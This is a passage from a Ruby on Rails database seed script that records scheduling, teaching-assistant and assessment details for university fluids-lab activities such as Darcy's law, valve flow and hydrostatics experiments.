2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ydy8uc9z\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a119.id).first_or_create!(criteria: \"Manual handling training.\",\n job_desc:\"Helping with the setup and running of the session. Students will be walking quickly over a Non-newtonian cornflour mixture in the lab. Students will need guiding across the pool. A lot of mixing and cleanup help will also be required.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a119.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a119.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a119.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a120 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"unknowncode2\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: true, in_drive: true, user_id: 1)\n at120 = ActivityTimetable.where(activity_id: a120.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a120.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a120.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a120.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a120.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a120.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a121 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"405\").first_or_create!(name: \"Darcy's Law\",\n name_abrv: \"DARCYSLAW\", archived: true, in_drive: true, user_id: 1)\n at121 = ActivityTimetable.where(activity_id: a121.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a121.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycl44ful\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a121.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Darcy's law in porous media flow\",\n job_desc:\"A home built rig to determine the pressure loss in flow through porous media.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a121.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a121.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a121.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a122 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"405\").first_or_create!(name: \"Darcy's Law\",\n name_abrv: \"DARCYSLAW\", archived: false, in_drive: true, user_id: 1)\n at122 = ActivityTimetable.where(activity_id: a122.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a122.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/hm7noqs\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a122.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Darcy's law in porous media flow\",\n job_desc:\"A home built rig to determine the pressure loss in flow through porous media.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a122.id).first_or_create!(assess_weight: nil, notes: \"Results are taken from the lab into a tutorial\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: 2)\n ActivityTech.where(activity_id: a122.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a122.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a123 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: true, user_id: 2)\n at123 = ActivityTimetable.where(activity_id: a123.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a123.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9hkvnrx\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a123.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a123.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a123.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a123.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a124 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"406\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: false, in_drive: true, user_id: 2)\n at124 = ActivityTimetable.where(activity_id: a124.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Can be a self book, no need to timetablable\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a124.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/go6v2fl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a124.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a124.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a124.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a124.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a125 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"406\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: false, in_drive: true, user_id: 2)\n at125 = ActivityTimetable.where(activity_id: a125.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a125.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yda4d9oa\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a125.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a125.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a125.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a125.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a126 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"407\").first_or_create!(name: \"Floating Stability\",\n name_abrv: \"FLOATSTAB\", archived: false, in_drive: true, user_id: 3)\n at126 = ActivityTimetable.where(activity_id: a126.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Last year this was run as 3 hours with Forces on Submerged surface. Next run do as a separate event, each at 1.5 hours.\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a126.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7aue72l\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a126.id).first_or_create!(criteria: \"Understanding of metacenter from a civil engineering perspective.\",\n job_desc:\"The variables that dictate the metacentre of a floating pontoon are determined.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a126.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a126.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a126.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a127 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"408\").first_or_create!(name: \"Flow Measurement\",\n name_abrv: \"FLOWMEAS\", archived: false, in_drive: true, user_id: 5)\n at127 = ActivityTimetable.where(activity_id: a127.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a127.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yab4zwks\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a127.id).first_or_create!(criteria: \"Understanding of uncertantity and error calculation would be useful.\",\n job_desc:\"A variety of flow measurement devices (ventrui meter, orifice plate, rotameter…etc) are compared for their ability to work as accurate instrumentation in fluid flow systems.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a127.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a127.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a127.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a128 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: false, user_id: 1)\n at128 = ActivityTimetable.where(activity_id: a128.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a128.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yd9boque\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a128.id).first_or_create!(criteria: \"A comparison of different flow measurement techniques using hydrodynamic theory\",\n job_desc:\"Students do a quick lab to determine the relationship between flow rate and loss coefficient for gate or angle seat valves. This is done by altering the opening of the valve, and measuring the flow rate and pressure drop.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a128.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a128.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a128.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a129 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: true, user_id: 2)\n at129 = ActivityTimetable.where(activity_id: a129.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Find a time when the students are in for another lab, as it is a long way to come for just an hour\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a129.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a129.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a129.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a129.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a129.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a130 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: true, user_id: 3)\n at130 = ActivityTimetable.where(activity_id: a130.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a130.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hdn3gkn\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a130.id).first_or_create!(criteria: \"Understanding of uncertantity and error calculation would be useful.\",\n job_desc:\"A variety of flow measurement devices (ventrui meter, orifice plate, rotameter…etc) are compared for their ability to work as accurate instrumentation in fluid flow systems.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a130.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a130.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a130.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a131 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 2)\n at131 = ActivityTimetable.where(activity_id: a131.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Anywhere with a water supply\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a131.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a131.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a131.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a131.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a131.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a132 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 5)\n at132 = ActivityTimetable.where(activity_id: a132.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Last year this was run as 3 hours with Floating stabiltity. Next run do as a separate event, each at 1.5 hours.\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a132.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y75qz6ys\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a132.id).first_or_create!(criteria: \"Understanding of hydrostatics and forces on submerged surfaces. Understanding of bending moments.\",\n job_desc:\"Students use a ¼ torroid to determine the pressure and hence force acting on a submerged surface.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a132.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a132.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a132.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a133 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: true, in_drive: true, user_id: 3)\n at133 = ActivityTimetable.where(activity_id: a133.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a133.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybr6ggo7\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a133.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a133.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a133.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a133.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a134 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 3)\n at134 = ActivityTimetable.where(activity_id: a134.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a134.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya6qpnzf\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a134.id).first_or_create!(criteria: \"Understanding of hydrostatics and forces on submerged surfaces. Understanding of bending moments.\",\n job_desc:\"Students use a ¼ torroid to determine the pressure and hence force acting on a submerged surface.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a134.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a134.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a134.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a135 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: false, user_id: 5)\n at135 = ActivityTimetable.where(activity_id: a135.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a135.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y6xyg4dt\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a135.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a135.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a135.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a135.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a136 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: true, user_id: 4)\n at136 = ActivityTimetable.where(activity_id: a136.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a136.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j43azdg\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a136.id).first_or_create!(criteria: \"Basic understanding of hydrostatics principles\",\n job_desc:\"A range of quick experiments to test hydrostatic principles. These are Pascal’s vase, Hare’s tube, calibration of a pressure gauge and using hydrometers.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a136.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a136.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a136.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a137 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: false, user_id: 4)\n at137 = ActivityTimetable.where(activity_id: a137.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a137.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y6c5bbz6\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a137.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a137.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a137.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a137.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a138 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: true, user_id: 5)\n at138 = ActivityTimetable.where(activity_id: a138.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 1, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a138.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j43azdg\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a138.id).first_or_create!(criteria: \"Basic understanding of hydrostatics principles\",\n job_desc:\"A range of quick experiments to test hydrostatic principles. These are Pascal’s vase, Hare’s tube, calibration of a pressure gauge and using hydrometers.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a138.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: 